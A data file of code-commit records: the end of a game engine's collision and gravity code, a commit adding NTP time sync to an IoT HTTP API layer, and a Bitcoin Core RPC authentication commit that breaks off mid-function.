p->CreateVertex (6); p->CreateVertex (7);\n\n  \/\/ Front\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (1); p->CreateVertex (5);\n  p->CreateVertex (6); p->CreateVertex (2);\n\n  \/\/ Back\n  p = thing_state->CreatePolygon ();\n  p->CreateVertex (0); p->CreateVertex (4);\n  p->CreateVertex (7); p->CreateVertex (3);\n\n  mesh = SCF_QUERY_INTERFACE (mesh_obj, iPolygonMesh);\n  legs = new csColliderWrapper (pllegs->QueryObject (), collide_system, mesh);\n  legs->SetName (\"player legs\");\n  pllegs->GetRadius ( legs_radius, legs_center);\n  mesh->DecRef ();\n  thing_state->DecRef ();\n\n  SCF_DEC_REF (pllegs);\n  SCF_DEC_REF (plbody);\n\n  SCF_DEC_REF (legs);\n  SCF_DEC_REF (body);\n\n  if (!body || !legs)\n    do_cd = false;\n}\n\n#define MAXSECTORSOCCUPIED  20\n\n\/\/ No more than 1000 collisions ;)\ncsCollisionPair our_cd_contact[1000];\nint num_our_cd;\n\nint FindSectors (csVector3 v, csVector3 d, iSector *s, iSector **sa)\n{\n  int c = 0;\n  \/\/ @@@ Avoid this sqrt somehow? i.e. by having it in the objects.\n  float size = qsqrt (d.x * d.x + d.y * d.y + d.z * d.z);\n  iSectorIterator* it = Sys->Engine->GetNearbySectors (s, v, size);\n  iSector* sector;\n  while ((sector = it->Fetch ()) != NULL)\n  {\n    sa[c++] = sector;\n    if (c >= MAXSECTORSOCCUPIED) break;\n  }\n  it->DecRef ();\n  return c;\n}\n\nint CollisionDetect (csColliderWrapper *c, iSector* sp,\n\tcsReversibleTransform *cdt)\n{\n  int hit = 0;\n  int i, j;\n\n  \/\/ Check collision with this sector.\n  Sys->collide_system->ResetCollisionPairs ();\n  if (c->Collide (sp->QueryObject (), cdt)) hit++;\n  csCollisionPair* CD_contact = Sys->collide_system->GetCollisionPairs ();\n\n  for (i=0 ; i<Sys->collide_system->GetCollisionPairCount () ; i++)\n    our_cd_contact[num_our_cd++] = CD_contact[i];\n\n  if (Sys->collide_system->GetOneHitOnly () && hit)\n    return 1;\n\n  \/\/ Check collision with the meshes in this sector.\n  iMeshList* ml = sp->GetMeshes ();\n  for (i = 0 ; i < ml->GetCount () ; i++)\n  {\n    iMeshWrapper* tp = ml->Get (i);\n    Sys->collide_system->ResetCollisionPairs ();\n    if (c->Collide (tp->QueryObject (), cdt,\n    \t&tp->GetMovable ()->GetTransform ())) hit++;\n\n    CD_contact = Sys->collide_system->GetCollisionPairs ();\n    for (j=0 ; j<Sys->collide_system->GetCollisionPairCount () ; j++)\n      our_cd_contact[num_our_cd++] = CD_contact[j];\n\n    if (Sys->collide_system->GetOneHitOnly () && hit)\n      return 1;\n    \/\/ TODO, should test which one is the closest.\n  }\n\n  return hit;\n}\n\nvoid DoGravity (csVector3& pos, csVector3& vel)\n{\n  pos=Sys->view->GetCamera ()->GetTransform ().GetOrigin ();\n\n  csVector3 new_pos = pos+vel;\n  csMatrix3 m;\n  csOrthoTransform test (m, new_pos);\n\n  iSector *n[MAXSECTORSOCCUPIED];\n  int num_sectors = FindSectors (new_pos, 4.0f*Sys->body_radius,\n    Sys->view->GetCamera()->GetSector(), n);\n\n  num_our_cd = 0;\n  Sys->collide_system->SetOneHitOnly (false);\n  int hits = 0;\n\n  \/\/ Check to see if there are any terrains, if so test against those.\n  \/\/ This routine will automatically adjust the transform to the highest\n  \/\/ terrain at this point.\n  int k;\n  for ( k = 0; k < num_sectors ; k++)\n  {\n    iMeshList* ml = n[k]->GetMeshes ();\n    if (ml->GetCount () > 0)\n    {\n      int i;\n      for (i = 0 ; i < ml->GetCount () ; i++)\n      {\n\tiMeshWrapper* terrain = ml->Get (i);\n\tiTerrFuncState* state = SCF_QUERY_INTERFACE (terrain\n\t\t->GetMeshObject (), iTerrFuncState);\n\tif (state)\n\t{\n\t  hits += state->CollisionDetect( &test );\n\t  state->DecRef ();\n        }\n      }\n    }\n  }\n\n  \/\/ If there were hits with the terrain we update our new position\n  \/\/ here. Side note: this could moved outside the loop above because\n  \/\/ a compiler bug with gcc 2.7.2 prevented it from working when inside\n  \/\/ the loop.\n  if (hits) new_pos = test.GetOrigin ();\n\n  int j;\n\n  if (hits == 0)\n  {\n    Sys->collide_system->ResetCollisionPairs ();\n\n    for ( ; num_sectors-- ; )\n      hits += CollisionDetect (Sys->body, n[num_sectors], &test);\n\n\/\/printf (\"body: hits=%d num_our_cd=%d\\n\", hits, num_our_cd);\n    for (j=0 ; j<num_our_cd ; j++)\n    {\n      csCollisionPair& cd = our_cd_contact[j];\n      csVector3 n = ((cd.c2-cd.b2)%(cd.b2-cd.a2)).Unit();\n      if (n*vel<0)\n        continue;\n      vel = -(vel%n)%n;\n    }\n\n    \/\/ We now know our (possible) velocity. Let's try to move up or down, if possible\n    new_pos = pos+vel;\n    test = csOrthoTransform (csMatrix3(), new_pos);\n\n    num_sectors = FindSectors (new_pos, 4.0f*Sys->legs_radius,\n\t\tSys->view->GetCamera()->GetSector(), n);\n\n    num_our_cd = 0;\n    Sys->collide_system->SetOneHitOnly (false);\n    Sys->collide_system->ResetCollisionPairs ();\n    int hit = 0;\n\n    for ( ; num_sectors-- ; )\n      hit += CollisionDetect (Sys->legs, n[num_sectors], &test);\n\n    if (!hit)\n    {\n      Sys->on_ground = false;\n      if (Sys->do_gravity && !Sys->move_3d)\n\tvel.y -= 0.002;\n    }\n    else\n    {\n      float max_y=-1e10;\n\n      for (j=0 ; j<num_our_cd ; j++)\n      {\n\tcsCollisionPair cd = our_cd_contact[j];\n        csVector3 n = ((cd.c2-cd.b2)%(cd.b2-cd.a2)).Unit();\n\n\tif (n*csVector3(0,-1,0)<0.7) continue;\n\n\tcsVector3 line[2];\n\n\tcd.a1 += new_pos;\n\tcd.b1 += new_pos;\n\tcd.c1 += new_pos;\n\n\tif (FindIntersection (cd,line))\n\t{\n\t  if (line[0].y>max_y)\n\t    max_y=line[0].y;\n\t  if (line[1].y>max_y)\n\t    max_y=line[1].y;\n\t}\n      }\n\n      float p = new_pos.y-max_y+OYL+0.01;\n      if (ABS(p)<DYL-0.01)\n      {\n\tif (max_y != -1e10)\n\t  new_pos.y = max_y-OYL-0.01;\n\n\tif (vel.y<0)\n\t  vel.y = 0;\n      }\n      Sys->on_ground = true;\n    }\n  }\n  new_pos -= Sys->view->GetCamera ()->GetTransform ().GetOrigin ();\n  Sys->view->GetCamera ()->MoveWorld (new_pos);\n  Sys->velocity = Sys->view->GetCamera ()->GetTransform ().GetO2T ()*vel;\n\n  if(!Sys->do_gravity)\n    Sys->velocity.y -= SIGN (Sys->velocity.y) * MIN (0.017, ABS (Sys->velocity.y));\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#include \"sdk\/httpapi.h\"\n#include \"sdk\/iot_logging.h\"\n\n#include \"util\/HTTPSClient.h\"\n\n#define POOL_SIZE 1\n\nHTTPSClient httpsClients[POOL_SIZE];\n\nHTTPAPI_RESULT HTTPAPI_Init(void)\n{\n    for (int i = 0; i < POOL_SIZE; i++) {\n        httpsClients[i] = HTTPSClient();\n    }\n    return HTTPAPI_OK;\n}\n\nvoid HTTPAPI_Deinit(void)\n{\n}\n\nHTTP_HANDLE HTTPAPI_CreateConnection(const char* hostName)\n{\n    HTTPSClient* client = NULL;\n\n    \/\/ find an available client to use\n    for (int i = 0; i < POOL_SIZE; i++) {\n        if (!httpsClients[i].connected()) {\n            client = &httpsClients[i];\n            break;\n        }\n    }\n\n    if (client) {\n        if (!client->begin(hostName)) {\n            \/\/ connection failed\n            LogError(\"HTTPS connection to %s failed\\n\", hostName);\n            client = NULL;\n        }\n    } else {\n        \/\/ no clients available\n        LogError(\"No HTTPS clients available\\n\");\n    }\n\n    return ((HTTP_HANDLE)client);\n}\n\nvoid HTTPAPI_CloseConnection(HTTP_HANDLE handle)\n{\n    HTTPSClient* client = (HTTPSClient*)handle;\n\n    client->end();\n}\n\nstatic const char* HTTPRequestTypes[] = {\n    \"GET\",\n    \"POST\",\n    \"PUT\",\n    \"DELETE\",\n    \"PATCH\"\n};\n\nHTTPAPI_RESULT HTTPAPI_ExecuteRequest(HTTP_HANDLE handle, \n        HTTPAPI_REQUEST_TYPE requestType, const char* relativePath,\n        HTTP_HEADERS_HANDLE httpHeadersHandle, const unsigned char* content,\n        size_t contentLength, unsigned int* statusCode,\n        HTTP_HEADERS_HANDLE responseHeadersHandle,\n        BUFFER_HANDLE responseContent)\n{\n    int result;\n    size_t headersCount;\n    char* header;\n\n    HTTPSClient* client = (HTTPSClient*)handle;\n\n    if (!client->connected()) {\n        \/\/ client not connected\n        LogError(\"HTTPS request failed, client not connected\\n\");\n        return HTTPAPI_OPEN_REQUEST_FAILED;\n    }\n\n    result = client->sendRequest(HTTPRequestTypes[requestType], relativePath);\n    if (!result) {\n        LogError(\"HTTPS send request failed\\n\");\n        return HTTPAPI_SEND_REQUEST_FAILED;\n    }\n\n    HTTPHeaders_GetHeaderCount(httpHeadersHandle, &headersCount);\n\n    for (size_t i = 0; i < headersCount && result; i++) {\n        HTTPHeaders_GetHeader(httpHeadersHandle, i, &header);\n        result = client->sendHeader(header);\n        free(header);\n    }\n\n    if (!result) {\n        LogError(\"HTTPS send header failed\\n\");\n        return HTTPAPI_SEND_REQUEST_FAILED;\n    }\n\n    result = client->sendBody(content, contentLength);\n    if (!result) {\n        LogError(\"HTTPS send body failed\\n\");\n        return HTTPAPI_SEND_REQUEST_FAILED;\n    }\n\n    result = client->readStatus();\n    if (result == -1) {\n        return HTTPAPI_STRING_PROCESSING_ERROR;\n    }\n    *statusCode = result;\n\n    while (result > 0) {\n        String headerName;\n        String headerValue;\n\n        result = client->readHeader(headerName, headerValue);\n        HTTPHeaders_AddHeaderNameValuePair(responseHeadersHandle, headerName.c_str(), headerValue.c_str());\n    }\n\n    if (result == -1) {\n        LogError(\"HTTPS header parsing failed\\n\");\n        return HTTPAPI_HTTP_HEADERS_FAILED;\n    }\n\n    contentLength = client->contentLength();\n    if (contentLength) {\n        BUFFER_pre_build(responseContent, contentLength);\n        client->readBody(BUFFER_u_char(responseContent), contentLength);\n    }\n\n    return HTTPAPI_OK;\n}\n\nHTTPAPI_RESULT HTTPAPI_SetOption(HTTP_HANDLE handle, const char* optionName,\n        const void* value)\n{\n    HTTPSClient* client = (HTTPSClient*)handle;\n    HTTPAPI_RESULT result = HTTPAPI_INVALID_ARG;\n\n    if (strcmp(\"timeout\", optionName) == 0) {\n        client->setTimeout(*(const unsigned int*)value);\n\n        result = HTTPAPI_OK;\n    }\n\n    return result;\n}\n\nHTTPAPI_RESULT HTTPAPI_CloneOption(const char* optionName, const void* value,\n        const void** savedValue)\n{\n    HTTPAPI_RESULT result = HTTPAPI_INVALID_ARG;\n\n    if (strcmp(\"timeout\", optionName) == 0) {\n        unsigned int* timeout = (unsigned int*)malloc(sizeof(unsigned int));\n\n        *timeout = *(const unsigned int*)value;\n\n        *savedValue = &timeout;\n\n        result = HTTPAPI_OK;\n    }\n\n    return result;\n}\n<commit_msg>Fetch time via NTP and use to set time of day (in HTTPAPI_Init for now)<commit_after>\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n#include <time.h>\n#include <sys\/time.h>\n\n#include \"sdk\/httpapi.h\"\n#include \"sdk\/iot_logging.h\"\n\n#include \"util\/HTTPSClient.h\"\n#include \"util\/NTPClient.h\"\n\n#define POOL_SIZE 1\n\nHTTPSClient httpsClients[POOL_SIZE];\n\nHTTPAPI_RESULT HTTPAPI_Init(void)\n{\n    time_t epochTime = (time_t)-1;\n    NTPClient ntpClient;\n\n    ntpClient.begin();\n    while (true) {\n        epochTime = ntpClient.getEpochTime(\"0.pool.ntp.org\");\n\n        if (epochTime == (time_t)-1) {\n            LogError(\"Fetching NTP epoch time failed!\\n\");\n            delay(5000);\n        } else {\n            LogInfo(\"Fetched NTP epoch time is: %lu\\n\", epochTime);\n            break;\n        }\n    }\n    ntpClient.end();\n\n\n    struct timeval tv;\n    tv.tv_sec = epochTime;\n    tv.tv_usec = 0;\n\n    settimeofday(&tv, NULL);\n\n    for (int i = 0; i < POOL_SIZE; i++) {\n        httpsClients[i] = HTTPSClient();\n    }\n    return HTTPAPI_OK;\n}\n\nvoid HTTPAPI_Deinit(void)\n{\n}\n\nHTTP_HANDLE HTTPAPI_CreateConnection(const char* hostName)\n{\n    HTTPSClient* client = NULL;\n\n    \/\/ find an available client to use\n    for (int i = 0; i < POOL_SIZE; i++) {\n        if (!httpsClients[i].connected()) {\n            client = &httpsClients[i];\n            break;\n        }\n    }\n\n    if (client) {\n        if (!client->begin(hostName)) {\n            \/\/ connection failed\n            LogError(\"HTTPS connection to %s failed\\n\", hostName);\n            client = NULL;\n        }\n    } else {\n        \/\/ no clients available\n        LogError(\"No HTTPS clients available\\n\");\n    }\n\n    return ((HTTP_HANDLE)client);\n}\n\nvoid HTTPAPI_CloseConnection(HTTP_HANDLE handle)\n{\n    HTTPSClient* client = (HTTPSClient*)handle;\n\n    client->end();\n}\n\nstatic const char* HTTPRequestTypes[] = {\n    \"GET\",\n    \"POST\",\n    \"PUT\",\n    \"DELETE\",\n    \"PATCH\"\n};\n\nHTTPAPI_RESULT HTTPAPI_ExecuteRequest(HTTP_HANDLE handle, \n        HTTPAPI_REQUEST_TYPE requestType, const char* relativePath,\n        HTTP_HEADERS_HANDLE httpHeadersHandle, const unsigned char* content,\n        size_t contentLength, unsigned int* statusCode,\n        HTTP_HEADERS_HANDLE responseHeadersHandle,\n        BUFFER_HANDLE responseContent)\n{\n    int result;\n    size_t headersCount;\n    char* header;\n\n    HTTPSClient* client = (HTTPSClient*)handle;\n\n    if (!client->connected()) {\n        \/\/ client not connected\n        LogError(\"HTTPS request failed, client not connected\\n\");\n        return HTTPAPI_OPEN_REQUEST_FAILED;\n    }\n\n    result = client->sendRequest(HTTPRequestTypes[requestType], relativePath);\n    if (!result) {\n        LogError(\"HTTPS send request failed\\n\");\n        return HTTPAPI_SEND_REQUEST_FAILED;\n    }\n\n    HTTPHeaders_GetHeaderCount(httpHeadersHandle, &headersCount);\n\n    for (size_t i = 0; i < headersCount && result; i++) {\n        HTTPHeaders_GetHeader(httpHeadersHandle, i, &header);\n        result = client->sendHeader(header);\n        free(header);\n    }\n\n    if (!result) {\n        LogError(\"HTTPS send header failed\\n\");\n        return HTTPAPI_SEND_REQUEST_FAILED;\n    }\n\n    result = client->sendBody(content, contentLength);\n    if (!result) {\n        LogError(\"HTTPS send body failed\\n\");\n        return HTTPAPI_SEND_REQUEST_FAILED;\n    }\n\n    result = client->readStatus();\n    if (result == -1) {\n        return HTTPAPI_STRING_PROCESSING_ERROR;\n    }\n    *statusCode = result;\n\n    while (result > 0) {\n        String headerName;\n        String headerValue;\n\n        result = client->readHeader(headerName, headerValue);\n        HTTPHeaders_AddHeaderNameValuePair(responseHeadersHandle, headerName.c_str(), headerValue.c_str());\n    }\n\n    if (result == -1) {\n        LogError(\"HTTPS header parsing failed\\n\");\n        return HTTPAPI_HTTP_HEADERS_FAILED;\n    }\n\n    contentLength = client->contentLength();\n    if (contentLength) {\n        BUFFER_pre_build(responseContent, contentLength);\n        client->readBody(BUFFER_u_char(responseContent), contentLength);\n    }\n\n    return HTTPAPI_OK;\n}\n\nHTTPAPI_RESULT HTTPAPI_SetOption(HTTP_HANDLE handle, const char* optionName,\n        const void* value)\n{\n    HTTPSClient* client = (HTTPSClient*)handle;\n    HTTPAPI_RESULT result = HTTPAPI_INVALID_ARG;\n\n    if (strcmp(\"timeout\", optionName) == 0) {\n        client->setTimeout(*(const unsigned int*)value);\n\n        result = HTTPAPI_OK;\n    }\n\n    return result;\n}\n\nHTTPAPI_RESULT HTTPAPI_CloneOption(const char* optionName, const void* value,\n        const void** savedValue)\n{\n    HTTPAPI_RESULT result = HTTPAPI_INVALID_ARG;\n\n    if (strcmp(\"timeout\", optionName) == 0) {\n        unsigned int* timeout = (unsigned int*)malloc(sizeof(unsigned int));\n\n        *timeout = *(const unsigned int*)value;\n\n        *savedValue = &timeout;\n\n        result = HTTPAPI_OK;\n    }\n\n    return result;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2015-2018 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <httprpc.h>\n\n#include <chainparams.h>\n#include <httpserver.h>\n#include <key_io.h>\n#include <rpc\/protocol.h>\n#include <rpc\/server.h>\n#include <random.h>\n#include <sync.h>\n#include <util.h>\n#include <utilstrencodings.h>\n#include <ui_interface.h>\n#include <crypto\/hmac_sha256.h>\n#include <stdio.h>\n\n#include <memory>\n\n#include <boost\/algorithm\/string.hpp> \/\/ boost::trim\n\n\/** WWW-Authenticate to present with 401 Unauthorized response *\/\nstatic const char* WWW_AUTH_HEADER_DATA = \"Basic realm=\\\"jsonrpc\\\"\";\n\n\/** Simple one-shot callback timer to be used by the RPC mechanism to e.g.\n * re-lock the wallet.\n *\/\nclass HTTPRPCTimer : public RPCTimerBase\n{\npublic:\n    HTTPRPCTimer(struct event_base* eventBase, std::function<void(void)>& func, int64_t millis) :\n        ev(eventBase, false, func)\n    {\n        struct timeval tv;\n        tv.tv_sec = millis\/1000;\n        tv.tv_usec = (millis%1000)*1000;\n        ev.trigger(&tv);\n    }\nprivate:\n    HTTPEvent ev;\n};\n\nclass HTTPRPCTimerInterface : public RPCTimerInterface\n{\npublic:\n    explicit HTTPRPCTimerInterface(struct event_base* _base) : base(_base)\n    {\n    }\n    const char* Name() override\n    {\n        return \"HTTP\";\n    }\n    RPCTimerBase* NewTimer(std::function<void(void)>& func, int64_t millis) override\n    {\n        return new HTTPRPCTimer(base, func, millis);\n    }\nprivate:\n    struct event_base* base;\n};\n\n\n\/* Pre-base64-encoded authentication token *\/\nstatic std::string strRPCUserColonPass;\n\/* Stored RPC timer interface (for unregistration) *\/\nstatic std::unique_ptr<HTTPRPCTimerInterface> httpRPCTimerInterface;\n\nstatic void JSONErrorReply(HTTPRequest* req, const UniValue& objError, const UniValue& id)\n{\n    \/\/ Send error reply from json-rpc error object\n    int nStatus = HTTP_INTERNAL_SERVER_ERROR;\n    int code = find_value(objError, \"code\").get_int();\n\n    if (code == RPC_INVALID_REQUEST)\n        nStatus = HTTP_BAD_REQUEST;\n    else if (code == RPC_METHOD_NOT_FOUND)\n        nStatus = HTTP_NOT_FOUND;\n\n    std::string strReply = JSONRPCReply(NullUniValue, objError, id);\n\n    req->WriteHeader(\"Content-Type\", \"application\/json\");\n    req->WriteReply(nStatus, strReply);\n}\n\n\/\/This function checks username and password against -rpcauth\n\/\/entries from config file.\nstatic bool multiUserAuthorized(std::string strUserPass)\n{    \n    if (strUserPass.find(':') == std::string::npos) {\n        return false;\n    }\n    std::string strUser = strUserPass.substr(0, strUserPass.find(':'));\n    std::string strPass = strUserPass.substr(strUserPass.find(':') + 1);\n\n    for (const std::string& strRPCAuth : gArgs.GetArgs(\"-rpcauth\")) {\n        \/\/Search for multi-user login\/pass \"rpcauth\" from config\n        std::vector<std::string> vFields;\n        boost::split(vFields, strRPCAuth, boost::is_any_of(\":$\"));\n        if (vFields.size() != 3) {\n            \/\/Incorrect formatting in config file\n            continue;\n        }\n\n        std::string strName = vFields[0];\n        if (!TimingResistantEqual(strName, strUser)) {\n            continue;\n        }\n\n        std::string strSalt = vFields[1];\n        std::string strHash = vFields[2];\n\n        static const unsigned int KEY_SIZE = 32;\n        unsigned char out[KEY_SIZE];\n\n        CHMAC_SHA256(reinterpret_cast<const unsigned char*>(strSalt.c_str()), strSalt.size()).Write(reinterpret_cast<const unsigned char*>(strPass.c_str()), strPass.size()).Finalize(out);\n        std::vector<unsigned char> hexvec(out, out+KEY_SIZE);\n        std::string strHashFromPass = HexStr(hexvec);\n\n        if (TimingResistantEqual(strHashFromPass, strHash)) {\n            return true;\n        }\n    }\n    return false;\n}\n\nstatic bool RPCAuthorized(const std::string& strAuth, std::string& strAuthUsernameOut)\n{\n    if (strRPCUserColonPass.empty()) \/\/ Belt-and-suspenders measure if InitRPCAuthentication was not called\n        return false;\n    if (strAuth.substr(0, 6) != \"Basic \")\n        return false;\n    std::string strUserPass64 = strAuth.substr(6);\n    boost::trim(strUserPass64);\n    std::string strUserPass = DecodeBase64(strUserPass64);\n\n    if (strUserPass.find(':') != std::string::npos)\n        strAuthUsernameOut = strUserPass.substr(0, strUserPass.find(':'));\n\n    \/\/Check if authorized under single-user field\n    if (TimingResistantEqual(strUserPass, strRPCUserColonPass)) {\n        return true;\n    }\n    return multiUserAuthorized(strUserPass);\n}\n\nstatic bool HTTPReq_JSONRPC(HTTPRequest* req, const std::string &)\n{\n    \/\/ JSONRPC handles only POST\n    if (req->GetRequestMethod() != HTTPRequest::POST) {\n        req->WriteReply(HTTP_BAD_METHOD, \"JSONRPC server handles only POST requests\");\n        return false;\n    }\n    \/\/ Check authorization\n    std::pair<bool, std::string> authHeader = req->GetHeader(\"authorization\");\n    if (!authHeader.first) {\n        req->WriteHeader(\"WWW-Authenticate\", WWW_AUTH_HEADER_DATA);\n        req->WriteReply(HTTP_UNAUTHORIZED);\n        return false;\n    }\n\n    JSONRPCRequest jreq;\n    jreq.peerAddr = req->GetPeer().ToString();\n    if (!RPCAuthorized(authHeader.second, jreq.authUser)) {\n        LogPrintf(\"ThreadRPCServer incorrect password attempt from %s\\n\", jreq.peerAddr);\n\n        \/* Deter brute-forcing\n           If this results in a DoS the user really\n           shouldn't have their RPC port exposed. *\/\n        MilliSleep(250);\n\n        req->WriteHeader(\"WWW-Authenticate\", WWW_AUTH_HEADER_DATA);\n        req->WriteReply(HTTP_UNAUTHORIZED);\n        return false;\n    }\n\n    try {\n        \/\/ Parse request\n        UniValue valRequest;\n        if (!valRequest.read(req->ReadBody()))\n            throw JSONRPCError(RPC_PARSE_ERROR, \"Parse error\");\n\n        \/\/ Set the URI\n        jreq.URI = req->GetURI();\n\n        std::string strReply;\n        \/\/ singleton request\n        if (valRequest.isObject()) {\n            jreq.parse(valRequest);\n\n            UniValue result = tableRPC.execute(jreq);\n\n            \/\/ Send reply\n            strReply = JSONRPCReply(result, NullUniValue, jreq.id);\n\n        \/\/ array of requests\n        } else if (valRequest.isArray())\n            strReply = JSONRPCExecBatch(jreq, valRequest.get_array());\n        else\n            throw JSONRPCError(RPC_PARSE_ERROR, \"Top-level object parse error\");\n\n        req->WriteHeader(\"Content-Type\", \"application\/json\");\n        req->WriteReply(HTTP_OK, strReply);\n    } catch (const UniValue& objError) {\n        JSONErrorReply(req, objError, jreq.id);\n        return false;\n    } catch (const std::exception& e) {\n        JSONErrorReply(req, JSONRPCError(RPC_PARSE_ERROR, e.what()), jreq.id);\n        return false;\n    }\n    return true;\n}\n\nstatic bool InitRPCAuthentication()\n{\n    if (gArgs.GetArg(\"-rpcpassword\", \"\") == \"\")\n    {\n        LogPrintf(\"No rpcpassword set - using random cookie authentication\\n\");\n        if (!GenerateAuthCookie(&strRPCUserColonPass)) {\n            uiInterface.ThreadSafeMessageBox(\n                _(\"Error: A fatal internal error occurred, see debug.log for details\"), \/\/ Same message as AbortNode\n                \"\", CClientUIInterface::MSG_ERROR);\n            return false;\n        }\n    } else {\n        LogPrintf(\"Config options rpcuser and rpcpassword will soon be deprecated. Locally-run instances may remove rpcuser to use cookie-based auth, or may be replaced with rpcauth. Please see share\/rpcuser for rpcauth auth generation.\\n\");\n        strRPCUserColonPass = gArgs.GetArg(\"-rpcuser\", \"\") + \":\" + gArgs.GetArg(\"-rpcpassword\", \"\");\n    }\n    return true;\n}\n\nbool StartHTTPRPC()\n{\n    LogPrint(BCLog::RPC, \"Starting HTTP RPC server\\n\");\n    if (!InitRPCAuthentication())\n        return false;\n\n    RegisterHTTPHandler(\"\/\", true, HTTPReq_JSONRPC);\n#ifdef ENABLE_WALLET\n    \/\/ ifdef can be removed once we switch to better endpoint support and API versioning\n    RegisterHTTPHandler(\"\/wallet\/\", false, HTTPReq_JSONRPC);\n#endif\n    assert(EventBase());\n    httpRPCTimerInterface = MakeUnique<HTTPRPCTimerInterface>(EventBase());\n    RPCSetTimerInterface(httpRPCTimerInterface.get());\n    return true;\n}\n\nvoid InterruptHTTPRPC()\n{\n    LogPrint(BCLog::RPC, \"Interrupting HTTP RPC server\\n\");\n}\n\nvoid StopHTTPRPC()\n{\n    LogPrint(BCLog::RPC, \"Stopping HTTP RPC server\\n\");\n    UnregisterHTTPHandler(\"\/\", true);\n#ifdef ENABLE_WALLET\n    UnregisterHTTPHandler(\"\/wallet\/\", false);\n#endif\n    if (httpRPCTimerInterface) {\n        RPCUnsetTimerInterface(httpRPCTimerInterface.get());\n        httpRPCTimerInterface.reset();\n    }\n}\n<commit_msg>RPCAuth Detection in Logs<commit_after>\/\/ Copyright (c) 2015-2018 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <httprpc.h>\n\n#include <chainparams.h>\n#include <httpserver.h>\n#include <key_io.h>\n#include <rpc\/protocol.h>\n#include <rpc\/server.h>\n#include <random.h>\n#include <sync.h>\n#include <util.h>\n#include <utilstrencodings.h>\n#include <ui_interface.h>\n#include <crypto\/hmac_sha256.h>\n#include <stdio.h>\n\n#include <memory>\n\n#include <boost\/algorithm\/string.hpp> \/\/ boost::trim\n\n\/** WWW-Authenticate to present with 401 Unauthorized response *\/\nstatic const char* WWW_AUTH_HEADER_DATA = \"Basic realm=\\\"jsonrpc\\\"\";\n\n\/** Simple one-shot callback timer to be used by the RPC mechanism to e.g.\n * re-lock the wallet.\n *\/\nclass HTTPRPCTimer : public RPCTimerBase\n{\npublic:\n    HTTPRPCTimer(struct event_base* eventBase, std::function<void(void)>& func, int64_t millis) :\n        ev(eventBase, false, func)\n    {\n        struct timeval tv;\n        tv.tv_sec = millis\/1000;\n        tv.tv_usec = (millis%1000)*1000;\n        ev.trigger(&tv);\n    }\nprivate:\n    HTTPEvent ev;\n};\n\nclass HTTPRPCTimerInterface : public RPCTimerInterface\n{\npublic:\n    explicit HTTPRPCTimerInterface(struct event_base* _base) : base(_base)\n    {\n    }\n    const char* Name() override\n    {\n        return \"HTTP\";\n    }\n    RPCTimerBase* NewTimer(std::function<void(void)>& func, int64_t millis) override\n    {\n        return new HTTPRPCTimer(base, func, millis);\n    }\nprivate:\n    struct event_base* base;\n};\n\n\n\/* Pre-base64-encoded authentication token *\/\nstatic std::string strRPCUserColonPass;\n\/* Stored RPC timer interface (for unregistration) *\/\nstatic std::unique_ptr<HTTPRPCTimerInterface> httpRPCTimerInterface;\n\nstatic void JSONErrorReply(HTTPRequest* req, const UniValue& objError, const UniValue& id)\n{\n    \/\/ Send error reply from json-rpc error object\n    int nStatus = HTTP_INTERNAL_SERVER_ERROR;\n    int code = find_value(objError, \"code\").get_int();\n\n    if (code == RPC_INVALID_REQUEST)\n        nStatus = HTTP_BAD_REQUEST;\n    else if (code == RPC_METHOD_NOT_FOUND)\n        nStatus = HTTP_NOT_FOUND;\n\n    std::string strReply = JSONRPCReply(NullUniValue, objError, id);\n\n    req->WriteHeader(\"Content-Type\", \"application\/json\");\n    req->WriteReply(nStatus, strReply);\n}\n\n\/\/This function checks username and password against -rpcauth\n\/\/entries from config file.\nstatic bool multiUserAuthorized(std::string strUserPass)\n{    \n    if (strUserPass.find(':') == std::string::npos) {\n        return false;\n    }\n    std::string strUser = strUserPass.substr(0, strUserPass.find(':'));\n    std::string strPass = strUserPass.substr(strUserPass.find(':') + 1);\n\n    for (const std::string& strRPCAuth : gArgs.GetArgs(\"-rpcauth\")) {\n        \/\/Search for multi-user login\/pass \"rpcauth\" from config\n        std::vector<std::string> vFields;\n        boost::split(vFields, strRPCAuth, boost::is_any_of(\":$\"));\n        if (vFields.size() != 3) {\n            \/\/Incorrect formatting in config file\n            continue;\n        }\n\n        std::string strName = vFields[0];\n        if (!TimingResistantEqual(strName, strUser)) {\n            continue;\n        }\n\n        std::string strSalt = vFields[1];\n        std::string strHash = vFields[2];\n\n        static const unsigned int KEY_SIZE = 32;\n        unsigned char out[KEY_SIZE];\n\n        CHMAC_SHA256(reinterpret_cast<const unsigned char*>(strSalt.c_str()), strSalt.size()).Write(reinterpret_cast<const unsigned char*>(strPass.c_str()), strPass.size()).Finalize(out);\n        std::vector<unsigned char> hexvec(out, out+KEY_SIZE);\n        std::string strHashFromPass = HexStr(hexvec);\n\n        if (TimingResistantEqual(strHashFromPass, strHash)) {\n            return true;\n        }\n    }\n    return false;\n}\n\nstatic bool RPCAuthorized(const std::string& strAuth, std::string& strAuthUsernameOut)\n{\n    if (strRPCUserColonPass.empty()) \/\/ Belt-and-suspenders measure if InitRPCAuthentication was not called\n        return false;\n    if (strAuth.substr(0, 6) != \"Basic \")\n        return false;\n    std::string strUserPass64 = strAuth.substr(6);\n    boost::trim(strUserPass64);\n    std::string strUserPass = DecodeBase64(strUserPass64);\n\n    if (strUserPass.find(':') != std::string::npos)\n        strAuthUsernameOut = strUserPass.substr(0, strUserPass.find(':'));\n\n    \/\/Check if authorized under single-user field\n    if (TimingResistantEqual(strUserPass, strRPCUserColonPass)) {\n        return true;\n    }\n    return multiUserAuthorized(strUserPass);\n}\n\nstatic bool HTTPReq_JSONRPC(HTTPRequest* req, const std::string &)\n{\n    \/\/ JSONRPC handles only POST\n    if (req->GetRequestMethod() != HTTPRequest::POST) {\n        req->WriteReply(HTTP_BAD_METHOD, \"JSONRPC server handles only POST requests\");\n        return false;\n    }\n    